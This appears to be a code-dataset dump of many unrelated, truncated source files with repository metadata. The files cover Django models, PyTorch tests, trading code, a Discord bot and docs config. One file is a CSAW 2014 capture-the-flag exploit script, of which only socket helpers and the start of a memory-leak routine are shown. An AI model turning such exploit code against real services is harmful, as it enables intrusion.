] | null | null | null | src/biking/migrations/0002_auto_20170312_1532.py | AlexDevelop/seen-movies | 95d83d3271258feb5c55544de1078f467c569bc5 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# Generated by Django 1.10.5 on 2017-03-12 15:32
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('biking', '0001_initial'),
]
operations = [
migrations.AlterField(
... | 21.095238 | 48 | 0.609481 | 285 | 0.643341 | 0 | 0 | 0 | 0 | 0 | 0 | 116 | 0.261851 |
abedb7b5e1c8f300b4bf64a7a429b96267ce296d | 210 | py | Python | coding/learn_python/function_object/reduce_mul_demo.py | yatao91/learning_road | e88dc43de98e35922bfc71c222ec71766851e618 | [
"MIT"
] | 3 | 2021-05-25T16:58:52.000Z | 2022-02-05T09:37:17.000Z | coding/learn_python/function_object/reduce_mul_demo.py | yataosu/learning_road | e88dc43de98e35922bfc71c222ec71766851e618 | [
"MIT"
] | null | null | null | coding/learn_python/function_object/reduce_mul_demo.py | yataosu/learning_road | e88dc43de98e35922bfc71c222ec71766851e618 | [
"MIT"
] | null | null | null | # -*- coding: UTF-8 -*-
from functools import reduce
from operator import mul
def fact_lambda(n):
return reduce(lambda a, b: a * b, range(1, n+1))
def fact_mul(n):
return reduce(mul, range(1, n+1))
| 17.5 | 52 | 0.647619 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 23 | 0.109524 |
abf5a5efa1eec3c81e55b4c7175e48f263de13b1 | 16,929 | py | Python | tests/continual/test_container.py | LukasHedegaard/continual-inference | 99a01f1360c56e2578231edd8fecb0dbadbf44d0 | [
"Apache-2.0"
] | 7 | 2021-09-22T14:42:59.000Z | 2022-03-28T20:43:25.000Z | tests/continual/test_container.py | LukasHedegaard/continual-inference | 99a01f1360c56e2578231edd8fecb0dbadbf44d0 | [
"Apache-2.0"
] | 29 | 2021-08-11T06:58:21.000Z | 2022-03-29T07:19:37.000Z | tests/continual/test_container.py | LukasHedegaard/continual-inference | 99a01f1360c56e2578231edd8fecb0dbadbf44d0 | [
"Apache-2.0"
] | 2 | 2021-10-03T20:03:09.000Z | 2021-12-03T17:31:48.000Z | import math
from collections import OrderedDict
import pytest
import torch
from torch import nn
import continual as co
from continual.module import TensorPlaceholder
torch.manual_seed(42)
def test_sequential():
S = 3
long_example_clip = torch.normal(mean=torch.zeros(10 * 3 * 3)).reshape(
(1, 1, 10... | 31.52514 | 143 | 0.624845 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,536 | 0.090732 |
abf8894b09295d75fbe3b3b420d30f7d1212e4ff | 257 | py | Python | authentication/models.py | mzazakeith/Therapy101 | be00dd988c6b636f52b57638e70c89da3acbf1a3 | [
"MIT"
] | null | null | null | authentication/models.py | mzazakeith/Therapy101 | be00dd988c6b636f52b57638e70c89da3acbf1a3 | [
"MIT"
] | 15 | 2020-06-05T18:55:18.000Z | 2022-03-08T22:20:14.000Z | authentication/models.py | mzazakeith/Therapy101 | be00dd988c6b636f52b57638e70c89da3acbf1a3 | [
"MIT"
] | null | null | null | from django.contrib.auth.models import AbstractUser
from django.db import models
class User(AbstractUser):
is_slta = models.BooleanField(default=False)
is_slt = models.BooleanField(default=False)
is_parent = models.BooleanField(default=False)
| 28.555556 | 51 | 0.785992 | 173 | 0.673152 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
abf9214c7a6d2106de8bbc2f4be984b13c38f4bf | 10,200 | py | Python | parrot/sample.py | weixsong/Codeblock | 413e7acd6addc4950bffe2d57eb0cc7973c6fb7a | [
"MIT"
] | null | null | null | parrot/sample.py | weixsong/Codeblock | 413e7acd6addc4950bffe2d57eb0cc7973c6fb7a | [
"MIT"
] | null | null | null | parrot/sample.py | weixsong/Codeblock | 413e7acd6addc4950bffe2d57eb0cc7973c6fb7a | [
"MIT"
] | null | null | null | """Sampling code for the parrot.
Loads the trained model and samples.
"""
import numpy
import os
import cPickle
import logging
from blocks.serialization import load_parameters
from blocks.model import Model
from datasets import parrot_stream
from model import Parrot
from utils import (
attention_plot, sample_pa... | 35.172414 | 111 | 0.678824 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,410 | 0.138235 |
abfa15dff9f5420c035b3826b1395528ac642299 | 3,517 | py | Python | csaw-2014/exploit/400-1/exploit.py | anarcheuz/CTF | beaccbfe036d90c7d7018978bad288c831d3f8f5 | [
"MIT"
] | 2 | 2015-03-24T22:20:08.000Z | 2018-05-12T16:41:13.000Z | csaw-2014/exploit/400-1/exploit.py | anarcheuz/CTF | beaccbfe036d90c7d7018978bad288c831d3f8f5 | [
"MIT"
] | null | null | null | csaw-2014/exploit/400-1/exploit.py | anarcheuz/CTF | beaccbfe036d90c7d7018978bad288c831d3f8f5 | [
"MIT"
] | null | null | null | import socket
import re
from struct import pack
from time import sleep
def recv_until(s, string=""):
text = ""
while 1 :
data = s.recv(4096)
text+=data
if not data or data.find(string) != -1:
break
return text
def leak(s):
s.send("A\n")
text = recv_until(s, "Sel... | 33.179245 | 88 | 0.639181 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 375 | 0.106625 |
abfa9fcc8c8d6fc061a4cea57ebd8295d4f79af3 | 9,504 | py | Python | vnpy/trader/app/spreadTrading/stBase.py | cmbclh/vnpy1.7 | 25a95ba63c7797e92ba45450d79ee1326135fb47 | [
"MIT"
] | 1 | 2017-10-09T06:05:11.000Z | 2017-10-09T06:05:11.000Z | vnpy/trader/app/spreadTrading/stBase.py | cmbclh/vnpy-1.7 | ccca92139198a0d213c15fe531f37c1c702ee968 | [
"MIT"
] | null | null | null | vnpy/trader/app/spreadTrading/stBase.py | cmbclh/vnpy-1.7 | ccca92139198a0d213c15fe531f37c1c702ee968 | [
"MIT"
] | null | null | null | # encoding: UTF-8
from __future__ import division
from datetime import datetime
from math import floor
import pandas as pd
import numpy as np
import sys
sys.path.append('../')
#sys.path.append('D:\\tr\\vnpy-master\\vn.trader\\DAO')
sys.path.append('D:\\tr\\vnpy-1.7\\vnpy\\DAO')
sys.path.append('D:\\tr\\vnpy-1.7\\vn... | 37.270588 | 158 | 0.551557 | 9,060 | 0.905638 | 0 | 0 | 0 | 0 | 0 | 0 | 2,253 | 0.22521 |
abfd898f1fd7a927dd38c972caa71877640b65cc | 2,728 | py | Python | quotatron.py | ItsPonks/DiscordBots | 062c4e6b33835fc3cde391011125d4cfd7ae1c6a | [
"MIT"
] | null | null | null | quotatron.py | ItsPonks/DiscordBots | 062c4e6b33835fc3cde391011125d4cfd7ae1c6a | [
"MIT"
] | null | null | null | quotatron.py | ItsPonks/DiscordBots | 062c4e6b33835fc3cde391011125d4cfd7ae1c6a | [
"MIT"
] | null | null | null | from app import SlashBot
from async_timeout import timeout
from asyncio import TimeoutError
from datetime import datetime, timedelta, timezone
from hikari import ButtonStyle, CacheSettings, Member, UNDEFINED
from random import choice, sample, uniform
bot = SlashBot(cache_settings=CacheSettings(max_messages=1000... | 50.518519 | 181 | 0.606305 | 0 | 0 | 0 | 0 | 674 | 0.247067 | 2,265 | 0.830279 | 321 | 0.117669 |
abfe2c1cf99654791bb342078effa2478f34e393 | 310 | py | Python | {{cookiecutter.project_slug}}/{{cookiecutter.project_slug}}/users/tests/test_models.py | nathfroech/cookiecutter-django | 9568671807c24655d0c51ecef91d22fe8b550d3f | [
"BSD-3-Clause"
] | null | null | null | {{cookiecutter.project_slug}}/{{cookiecutter.project_slug}}/users/tests/test_models.py | nathfroech/cookiecutter-django | 9568671807c24655d0c51ecef91d22fe8b550d3f | [
"BSD-3-Clause"
] | null | null | null | {{cookiecutter.project_slug}}/{{cookiecutter.project_slug}}/users/tests/test_models.py | nathfroech/cookiecutter-django | 9568671807c24655d0c51ecef91d22fe8b550d3f | [
"BSD-3-Clause"
] | null | null | null | import pytest
from hamcrest import assert_that, equal_to, is_
from django.conf import settings
@pytest.mark.django_db
def test_user_get_absolute_url(user: settings.AUTH_USER_MODEL):
expected_url = '/users/{0}/'.format(user.username)
assert_that(user.get_absolute_url(), is_(equal_to(expected_url)))
| 28.181818 | 69 | 0.790323 | 0 | 0 | 0 | 0 | 211 | 0.680645 | 0 | 0 | 13 | 0.041935 |
abfe5cbf9100c74ccd8fce63d1076b3d06dffdca | 93 | py | Python | protocols/apps.py | OhEvolve/LabBio | 4495f70ea544e0c7208d51abcb1469adcb84fc1b | [
"MIT"
] | null | null | null | protocols/apps.py | OhEvolve/LabBio | 4495f70ea544e0c7208d51abcb1469adcb84fc1b | [
"MIT"
] | null | null | null | protocols/apps.py | OhEvolve/LabBio | 4495f70ea544e0c7208d51abcb1469adcb84fc1b | [
"MIT"
] | null | null | null | from django.apps import AppConfig
class ProtocolsConfig(AppConfig):
name = 'protocols'
| 15.5 | 33 | 0.763441 | 56 | 0.602151 | 0 | 0 | 0 | 0 | 0 | 0 | 11 | 0.11828 |
abff8a668f2d6433edc42fc8d0de063e6d1e1a69 | 2,745 | py | Python | hpotter/src/one_way_thread.py | LarsenClose/dr.hpotter | ef6199ab563a92f3e4916277dbde9217126f36a9 | [
"MIT"
] | 1 | 2021-08-15T09:24:20.000Z | 2021-08-15T09:24:20.000Z | hpotter/src/one_way_thread.py | LarsenClose/dr.hpotter | ef6199ab563a92f3e4916277dbde9217126f36a9 | [
"MIT"
] | 18 | 2021-02-01T21:58:20.000Z | 2021-05-24T17:10:25.000Z | hpotter/src/one_way_thread.py | LarsenClose/dr.hpotter | ef6199ab563a92f3e4916277dbde9217126f36a9 | [
"MIT"
] | 1 | 2021-06-19T12:49:54.000Z | 2021-06-19T12:49:54.000Z | ''' Threads that go to/from containers, limit data and lines, and insert
data into the Data table. '''
import threading
from src import tables
from src.logger import logger
from src.lazy_init import lazy_init
class OneWayThread(threading.Thread):
''' One thread to/from container. '''
# pylint: disable=E1101, ... | 33.072289 | 102 | 0.579964 | 2,533 | 0.922769 | 0 | 0 | 404 | 0.147177 | 0 | 0 | 405 | 0.147541 |
abffd96161e8443437fe3910d4ce59e8abc42d99 | 731 | py | Python | tests/_test_version_greater.py | jonyboi396825/COM-Server | e4e8a1a5e9f86c1036ebb7ac3d39c20b63e7e905 | [
"MIT"
] | 4 | 2021-11-09T04:11:51.000Z | 2022-01-30T01:03:16.000Z | tests/_test_version_greater.py | jonyboi396825/COM-Server | e4e8a1a5e9f86c1036ebb7ac3d39c20b63e7e905 | [
"MIT"
] | 55 | 2021-11-15T16:36:25.000Z | 2022-03-10T04:48:08.000Z | tests/_test_version_greater.py | jonyboi396825/COM-Server | e4e8a1a5e9f86c1036ebb7ac3d39c20b63e7e905 | [
"MIT"
] | 1 | 2021-11-12T02:14:07.000Z | 2021-11-12T02:14:07.000Z | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Version testing
Don't want to run when running `pytest`, only run when something
is pushed to develop branch or PR to master.
"""
import configparser
import requests
from com_server import __version__
from passive.cmp_version import Version
def test_version_great... | 23.580645 | 85 | 0.719562 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 356 | 0.487004 |
2800fe4ff8f5543c36554bc37b647db2a125d9ae | 390 | py | Python | mp/visualize/models.py | Ecotrust/PEW-EFH | 83e404fe90e957891ab2dfaad327e52346cea748 | [
"Apache-2.0"
] | 1 | 2017-09-06T14:05:48.000Z | 2017-09-06T14:05:48.000Z | mp/visualize/models.py | Ecotrust/PEW-EFH | 83e404fe90e957891ab2dfaad327e52346cea748 | [
"Apache-2.0"
] | 126 | 2015-01-05T19:47:52.000Z | 2021-09-07T23:44:29.000Z | mp/visualize/models.py | Ecotrust/COMPASS | 42ee113e4d66767300cfab0d6ce1f35847f447ed | [
"Apache-2.0"
] | null | null | null | from django.db import models
from django.conf import settings
from django.contrib.gis.db import models
from madrona.features import register
from madrona.features.models import Feature
@register
class Bookmark(Feature):
url_hash = models.CharField(max_length=2050)
class Options:
verbose_name = '... | 27.857143 | 49 | 0.761538 | 193 | 0.494872 | 0 | 0 | 203 | 0.520513 | 0 | 0 | 55 | 0.141026 |
2804d5dc2b4f1fcfefbc0acd3532b59ffc96d9f6 | 1,827 | py | Python | util/levels.py | Xetera/IreneBot | e768bb3a0d2517ecb00d50da89d66ac0dd1498d0 | [
"MIT"
] | 1 | 2021-10-02T16:05:11.000Z | 2021-10-02T16:05:11.000Z | util/levels.py | Xetera/IreneBot | e768bb3a0d2517ecb00d50da89d66ac0dd1498d0 | [
"MIT"
] | null | null | null | util/levels.py | Xetera/IreneBot | e768bb3a0d2517ecb00d50da89d66ac0dd1498d0 | [
"MIT"
] | null | null | null | from Utility import resources as ex
# noinspection PyPep8
class Levels:
@staticmethod
async def get_level(user_id, command):
"""Get the level of a command (rob/beg/daily)."""
count = ex.first_result(
await ex.conn.fetchrow(f"SELECT COUNT(*) FROM currency.Levels WHERE UserID = $1 AN... | 38.87234 | 123 | 0.586207 | 1,766 | 0.966612 | 0 | 0 | 1,730 | 0.946907 | 1,658 | 0.907499 | 667 | 0.365079 |
2806153fe5679750056acfcdb852bf9fdff951e3 | 374 | py | Python | src/python_pachyderm/experimental/mixin/__init__.py | sjezewski/pypachy | 4bc022d0c73140475f9bd0acd5c0e7204609de26 | [
"Apache-2.0"
] | 2 | 2017-02-01T14:22:34.000Z | 2017-02-01T19:58:54.000Z | src/python_pachyderm/experimental/mixin/__init__.py | sjezewski/pypachy | 4bc022d0c73140475f9bd0acd5c0e7204609de26 | [
"Apache-2.0"
] | 3 | 2018-02-13T20:40:59.000Z | 2018-02-13T22:23:41.000Z | src/python_pachyderm/experimental/mixin/__init__.py | sjezewski/pypachy | 4bc022d0c73140475f9bd0acd5c0e7204609de26 | [
"Apache-2.0"
] | null | null | null | """
Exposes an experimental mixin for each pachyderm service. These mixins should
not be used directly; instead, you should use
``python_pachyderm.experimental.Client()``. The mixins exist exclusively in
order to provide better code organization, because we have several mixins,
rather than one giant
:class:`Client <pyt... | 41.555556 | 77 | 0.799465 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 373 | 0.997326 |
f9eaf3d0c02077230ba993a6dcd5aeadb2b3f5df | 1,533 | py | Python | Hydraslayer/Utility.py | Jorisvansteenbrugge/GapFiller | ff879935765ed47eafcc0f38e47042694657d961 | [
"MIT"
] | null | null | null | Hydraslayer/Utility.py | Jorisvansteenbrugge/GapFiller | ff879935765ed47eafcc0f38e47042694657d961 | [
"MIT"
] | null | null | null | Hydraslayer/Utility.py | Jorisvansteenbrugge/GapFiller | ff879935765ed47eafcc0f38e47042694657d961 | [
"MIT"
] | null | null | null | import logging
logger = logging.getLogger("Hydraslayer")
def get_consensusbase(bases, mincov=3):
"""
:param mincov:
:type bases: list
"""
bases = "".join(bases)
a = bases.count('A')
t = bases.count('T')
c = bases.count('C')
g = bases.count('G')
n = bases.count("N") + bases.c... | 23.227273 | 92 | 0.613177 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 320 | 0.208741 |
f9eb5ae0a2f921af7f1e7867be9f3e3a70e3a5d2 | 5,094 | py | Python | src/student/student_model.py | YoshikiKubotani/RLTutor | 17d7cd274d0ea5ef69a4590b01ab905a4ed58463 | [
"MIT"
] | 3 | 2021-08-10T09:57:42.000Z | 2022-03-10T12:52:56.000Z | src/student/student_model.py | YoshikiKubotani/rltutor | 17d7cd274d0ea5ef69a4590b01ab905a4ed58463 | [
"MIT"
] | 1 | 2021-04-17T03:35:33.000Z | 2021-04-23T15:58:02.000Z | src/student/student_model.py | YoshikiKubotani/rltutor | 17d7cd274d0ea5ef69a4590b01ab905a4ed58463 | [
"MIT"
] | null | null | null | import copy
import numpy as np
from collections import defaultdict
import utils
class DAS3HStudent:
def __init__(self, time_weight, n_items, n_skills, seed):
np.random.seed(seed)
self.alpha = np.random.normal(loc=-1.5, scale=0.3, size=1)
self.delta = np.random.normal(loc=-1.0, scale=0.5, ... | 35.622378 | 88 | 0.611504 | 5,008 | 0.983117 | 0 | 0 | 0 | 0 | 0 | 0 | 34 | 0.006675 |
f9ee55d442bf6d3dde7fbd268f409bf967f59adc | 163 | py | Python | Dataset/Leetcode/train/125/374.py | kkcookies99/UAST | fff81885aa07901786141a71e5600a08d7cb4868 | [
"MIT"
] | null | null | null | Dataset/Leetcode/train/125/374.py | kkcookies99/UAST | fff81885aa07901786141a71e5600a08d7cb4868 | [
"MIT"
] | null | null | null | Dataset/Leetcode/train/125/374.py | kkcookies99/UAST | fff81885aa07901786141a71e5600a08d7cb4868 | [
"MIT"
] | null | null | null | class Solution:
'''第九题'''
def XXX(self, s: str) -> bool:
s = ''.join([i.lower() for i in s if i.strip().isalnum()])
return s == s[::-1]
| 20.375 | 66 | 0.466258 | 166 | 0.982249 | 0 | 0 | 0 | 0 | 0 | 0 | 17 | 0.100592 |
f9eebbfc0db7d11ed30b9b7cf32f005e8751ccbd | 39 | py | Python | lang/Python/singly-linked-list-traversal-1.py | ethansaxenian/RosettaDecode | 8ea1a42a5f792280b50193ad47545d14ee371fb7 | [
"MIT"
] | null | null | null | lang/Python/singly-linked-list-traversal-1.py | ethansaxenian/RosettaDecode | 8ea1a42a5f792280b50193ad47545d14ee371fb7 | [
"MIT"
] | null | null | null | lang/Python/singly-linked-list-traversal-1.py | ethansaxenian/RosettaDecode | 8ea1a42a5f792280b50193ad47545d14ee371fb7 | [
"MIT"
] | null | null | null | for node in lst:
print(node.value)
| 13 | 21 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
f9ef1102a1c613bcb45da31777d89452e59168b6 | 2,625 | py | Python | conversion_tools/misc_functions.py | xiaoping-yang/ms2pip_c | 061fcd8aa8c315b775ac64f5c1f7dfe0a09bdea9 | [
"Apache-2.0"
] | 14 | 2018-08-21T04:58:22.000Z | 2022-03-21T11:40:12.000Z | conversion_tools/misc_functions.py | xiaoping-yang/ms2pip_c | 061fcd8aa8c315b775ac64f5c1f7dfe0a09bdea9 | [
"Apache-2.0"
] | 69 | 2018-05-23T12:52:16.000Z | 2022-03-14T20:42:49.000Z | conversion_tools/misc_functions.py | xiaoping-yang/ms2pip_c | 061fcd8aa8c315b775ac64f5c1f7dfe0a09bdea9 | [
"Apache-2.0"
] | 10 | 2019-04-28T01:24:10.000Z | 2022-03-04T18:37:47.000Z | """
Miscellaneous functions regarding MS2PIP file conversions.
"""
import re
import pandas as pd
def add_fixed_mods(peprec, fixed_mods=None, n_term=None, c_term=None):
"""
Add 'fixed' modifications to all peptides in an MS2PIP PEPREC file.
Return list with MS2PIP modifications with fixed mods added.
... | 30.882353 | 100 | 0.613333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 850 | 0.32381 |
f9f160c2036c4a9de666283011c042c949cb5728 | 2,518 | py | Python | docs/conf.py | maykinmedia/open-personen | ddcf083ccd4eb864c5305bcd8bc75c6c64108272 | [
"RSA-MD"
] | 2 | 2020-08-26T11:24:43.000Z | 2021-07-28T09:46:40.000Z | docs/conf.py | maykinmedia/open-personen | ddcf083ccd4eb864c5305bcd8bc75c6c64108272 | [
"RSA-MD"
] | 153 | 2020-08-26T10:45:35.000Z | 2021-12-10T17:33:16.000Z | docs/conf.py | maykinmedia/open-personen | ddcf083ccd4eb864c5305bcd8bc75c6c64108272 | [
"RSA-MD"
] | null | null | null | # Configuration file for the Sphinx documentation builder.
#
# This file only contains a selection of the most common options. For a full
# list see the documentation:
# https://www.sphinx-doc.org/en/master/usage/configuration.html
# -- Path setup --------------------------------------------------------------
import o... | 29.97619 | 78 | 0.673153 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,952 | 0.775218 |
f9f1a4c66877c2a359160ca92cd9a1a5bd503f2e | 1,547 | py | Python | tests/test_preprocessing.py | mitchelllisle/leonard | 09f2f72d1f103813233c19950189a502868ce60a | [
"MIT"
] | null | null | null | tests/test_preprocessing.py | mitchelllisle/leonard | 09f2f72d1f103813233c19950189a502868ce60a | [
"MIT"
] | 27 | 2018-04-05T22:32:11.000Z | 2018-12-09T21:04:12.000Z | tests/test_preprocessing.py | mitchelllisle/leonard | 09f2f72d1f103813233c19950189a502868ce60a | [
"MIT"
] | null | null | null | import pytest
from martha import negabs
from martha import normalise
from martha import labelEncoder
from martha import cleanUpString
from martha import medianFrequency
from martha import gini
import numpy as np
import pandas as pd
import json
from sklearn.preprocessing import LabelEncoder
# import os
# os.chdir("/Use... | 31.571429 | 93 | 0.716225 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 279 | 0.180349 |
f9f1e55a1cfe8220ba10d8a734bbe623347c9690 | 7,806 | py | Python | Recommendation_System/Research_Recommender/Research_Recommender_Clustering.py | quangnguyendang/Reinforcement_Learning | 2551ce95068561c553500838ee6b976f001ba667 | [
"MIT"
] | null | null | null | Recommendation_System/Research_Recommender/Research_Recommender_Clustering.py | quangnguyendang/Reinforcement_Learning | 2551ce95068561c553500838ee6b976f001ba667 | [
"MIT"
] | null | null | null | Recommendation_System/Research_Recommender/Research_Recommender_Clustering.py | quangnguyendang/Reinforcement_Learning | 2551ce95068561c553500838ee6b976f001ba667 | [
"MIT"
] | null | null | null | # Example of CBF for research-paper domain
# Nguyen Dang Quang
from nltk.stem.snowball import SnowballStemmer
import pandas as pd
from nltk.corpus import stopwords
# --------------------------------------------------------
user_input_data = "It is known that the performance of an optimal control strategy obtained fro... | 38.264706 | 158 | 0.668204 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3,436 | 0.440174 |
f9f282edbab72aad8652828b7e20e00859536805 | 5,625 | py | Python | extract_from_stata/model/regressions.py | gn0/extract-from-stata | 52f94f65d28aee257c2a46ca82149e14ab74fbda | [
"CC-BY-4.0"
] | null | null | null | extract_from_stata/model/regressions.py | gn0/extract-from-stata | 52f94f65d28aee257c2a46ca82149e14ab74fbda | [
"CC-BY-4.0"
] | null | null | null | extract_from_stata/model/regressions.py | gn0/extract-from-stata | 52f94f65d28aee257c2a46ca82149e14ab74fbda | [
"CC-BY-4.0"
] | null | null | null | import re
import collections
import extract_from_stata.model.common
def is_beginning_of_table(line):
return (line.startswith("Linear regression")
or re.match(r"^ +Source \| +SS +df +MS", line) is not None
or line.startswith("Negative binomial regression")
or line.startswith("H... | 29.450262 | 105 | 0.592889 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 805 | 0.143111 |
f9f39222109d35dd54c9520459d1d2c222c58e13 | 1,173 | py | Python | master/master/doctype/add_rate/add_rate.py | reddymeghraj/master | 1f93748fb951e52edc28c1b8c150d1acacff1687 | [
"MIT"
] | null | null | null | master/master/doctype/add_rate/add_rate.py | reddymeghraj/master | 1f93748fb951e52edc28c1b8c150d1acacff1687 | [
"MIT"
] | null | null | null | master/master/doctype/add_rate/add_rate.py | reddymeghraj/master | 1f93748fb951e52edc28c1b8c150d1acacff1687 | [
"MIT"
] | null | null | null | # Copyright (c) 2013, Wayzon and contributors
# For license information, please see license.txt
from __future__ import unicode_literals
import frappe
from frappe.model.document import Document
class AddRate(Document):
def validate(self):
b=self.brand;
bt=self.brand_type;
r=self.rate;
q=frappe.db.sql("""selec... | 35.545455 | 107 | 0.72208 | 565 | 0.481671 | 0 | 0 | 412 | 0.351236 | 0 | 0 | 646 | 0.550725 |
f9f39e941eb9fa32c988e9be54fb0bea84a7c4e4 | 45 | py | Python | nautobot_plugin_nornir/tests/__init__.py | FragmentedPacket/nautobot-plugin-nornir | ef3ce9e1eb1d8e04002f0f5c3f5e34389ada20cb | [
"Apache-2.0"
] | 13 | 2021-02-28T00:21:31.000Z | 2022-03-10T13:04:50.000Z | nautobot_plugin_nornir/tests/__init__.py | rileyL6122428/nautobot-plugin-nornir | 67773960aebe4df5e6cda11f1c7e0bfd93c24fee | [
"Apache-2.0"
] | 18 | 2021-03-13T03:24:09.000Z | 2022-02-28T15:24:51.000Z | nautobot_plugin_nornir/tests/__init__.py | rileyL6122428/nautobot-plugin-nornir | 67773960aebe4df5e6cda11f1c7e0bfd93c24fee | [
"Apache-2.0"
] | 14 | 2021-03-04T03:21:16.000Z | 2021-12-20T10:20:55.000Z | """Unit tests for nautobot_plugin_nornir."""
| 22.5 | 44 | 0.755556 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 44 | 0.977778 |
f9f6b1140ade48b9437ab03cfc7f614535b44fee | 1,267 | py | Python | oxe-api/resource/private/get_my_companies.py | CybersecurityLuxembourg/openxeco | 8d4e5578bde6a07f5d6d569b16b4de224abf7bf0 | [
"BSD-2-Clause"
] | null | null | null | oxe-api/resource/private/get_my_companies.py | CybersecurityLuxembourg/openxeco | 8d4e5578bde6a07f5d6d569b16b4de224abf7bf0 | [
"BSD-2-Clause"
] | null | null | null | oxe-api/resource/private/get_my_companies.py | CybersecurityLuxembourg/openxeco | 8d4e5578bde6a07f5d6d569b16b4de224abf7bf0 | [
"BSD-2-Clause"
] | null | null | null | from flask_apispec import MethodResource
from flask_apispec import doc
from flask_jwt_extended import jwt_required, get_jwt_identity
from flask_restful import Resource
from db.db import DB
from decorator.catch_exception import catch_exception
from decorator.log_request import log_request
from utils.serializer import S... | 30.902439 | 97 | 0.649566 | 934 | 0.737174 | 0 | 0 | 827 | 0.652723 | 0 | 0 | 191 | 0.15075 |
f9f91708559004c1587db8bf5fbe2a059ca12bc6 | 9,693 | py | Python | src/recommendation/main_inference.py | AntoninJoly/book | 257c641fd52d0e9499093247727b135ed361d7c4 | [
"Apache-2.0"
] | null | null | null | src/recommendation/main_inference.py | AntoninJoly/book | 257c641fd52d0e9499093247727b135ed361d7c4 | [
"Apache-2.0"
] | null | null | null | src/recommendation/main_inference.py | AntoninJoly/book | 257c641fd52d0e9499093247727b135ed361d7c4 | [
"Apache-2.0"
] | null | null | null | import math
import click
import dgl
import numpy as np
import torch
from src.builder import create_graph
from src.model import ConvModel
from src.utils_data import DataPaths, DataLoader, FixedParameters, assign_graph_features
from src.utils_inference import read_graph, fetch_uids, postprocess_recs
from src.train.run ... | 42.327511 | 120 | 0.573816 | 0 | 0 | 0 | 0 | 2,626 | 0.270917 | 0 | 0 | 3,437 | 0.354586 |
f9fd62eb176a26c3629cfbc22be516bafd9ae4e3 | 229 | py | Python | cs585/HW1/Eval.py | tiaotiao/applets | c583a4405ed18c7d74bfba49884525c43d114398 | [
"MIT"
] | null | null | null | cs585/HW1/Eval.py | tiaotiao/applets | c583a4405ed18c7d74bfba49884525c43d114398 | [
"MIT"
] | null | null | null | cs585/HW1/Eval.py | tiaotiao/applets | c583a4405ed18c7d74bfba49884525c43d114398 | [
"MIT"
] | null | null | null | import numpy as np
class Eval:
def __init__(self, pred, gold):
self.pred = pred
self.gold = gold
def Accuracy(self):
return np.sum(np.equal(self.pred, self.gold)) / float(len(self.gold))
| 22.9 | 77 | 0.593886 | 208 | 0.908297 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
f9ff014150d49d6aa831781d7f5630eb634ba2c0 | 5,328 | py | Python | evolutron/tools/data_tools.py | thrakar9/Evolutron | 1b9b4c364fe531e5001fd9010898b96e0f5907d7 | [
"MIT"
] | 10 | 2017-11-30T20:30:12.000Z | 2021-04-10T21:45:12.000Z | evolutron/tools/data_tools.py | thrakar9/Evolutron | 1b9b4c364fe531e5001fd9010898b96e0f5907d7 | [
"MIT"
] | null | null | null | evolutron/tools/data_tools.py | thrakar9/Evolutron | 1b9b4c364fe531e5001fd9010898b96e0f5907d7 | [
"MIT"
] | 3 | 2019-06-20T15:13:42.000Z | 2020-03-24T11:44:07.000Z | # coding=utf-8
from functools import partial
import numpy as np
import pandas as pd
from sklearn.model_selection import train_test_split
from .seq_tools import aa2hot
from ..tools import io_tools as io
def data_it(dataset, block_size, multi_data=False):
""" Iterates through a large array, yielding chunks of blo... | 31.714286 | 115 | 0.593844 | 0 | 0 | 394 | 0.073949 | 0 | 0 | 0 | 0 | 926 | 0.173799 |
f9ff05579682158568bfec5a2b8abe73eaf5622f | 1,894 | py | Python | magic_timer/format_seconds.py | sradc/magic-timer | 02e95ae7e96787871bd243a2a6a3e14d8615560e | [
"MIT"
] | 2 | 2020-09-10T15:43:28.000Z | 2020-09-11T08:14:36.000Z | magic_timer/format_seconds.py | sradc/magic-timer | 02e95ae7e96787871bd243a2a6a3e14d8615560e | [
"MIT"
] | 1 | 2020-09-10T10:55:04.000Z | 2020-09-10T12:40:15.000Z | magic_timer/format_seconds.py | sradc/magic-timer | 02e95ae7e96787871bd243a2a6a3e14d8615560e | [
"MIT"
] | 1 | 2020-03-06T09:07:54.000Z | 2020-03-06T09:07:54.000Z | """Turn time in seconds into a readable string.
"""
import math
from typing import Union, Tuple
TIME_UNITS = ( # Order matters
("days", 24 * 60 * 60),
("hours", 60 * 60),
("minutes", 60),
("seconds", 1),
("milliseconds", 1 / 1000),
("microseconds", 1 / 1000_000),
)
def format_seconds(seconds... | 31.566667 | 82 | 0.637276 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 730 | 0.385428 |
f9ff74d919dcc09d02f35b81da80d879d34feb93 | 6,458 | py | Python | lookmlgen/view.py | jimmyshah/lookml-gen2 | 7814d2ea6cf302ef7b937e3365d047b09a9878b4 | [
"Apache-2.0"
] | 31 | 2017-04-18T03:40:38.000Z | 2022-02-14T23:06:02.000Z | lookmlgen/view.py | jimmyshah/lookml-gen2 | 7814d2ea6cf302ef7b937e3365d047b09a9878b4 | [
"Apache-2.0"
] | 368 | 2017-05-15T07:43:38.000Z | 2022-03-28T08:55:21.000Z | lookmlgen/view.py | jimmyshah/lookml-gen2 | 7814d2ea6cf302ef7b937e3365d047b09a9878b4 | [
"Apache-2.0"
] | 10 | 2017-05-23T03:45:23.000Z | 2021-08-10T20:19:55.000Z | """
File name: view.py
Author: joeschmid
Date created: 4/8/17
"""
import json
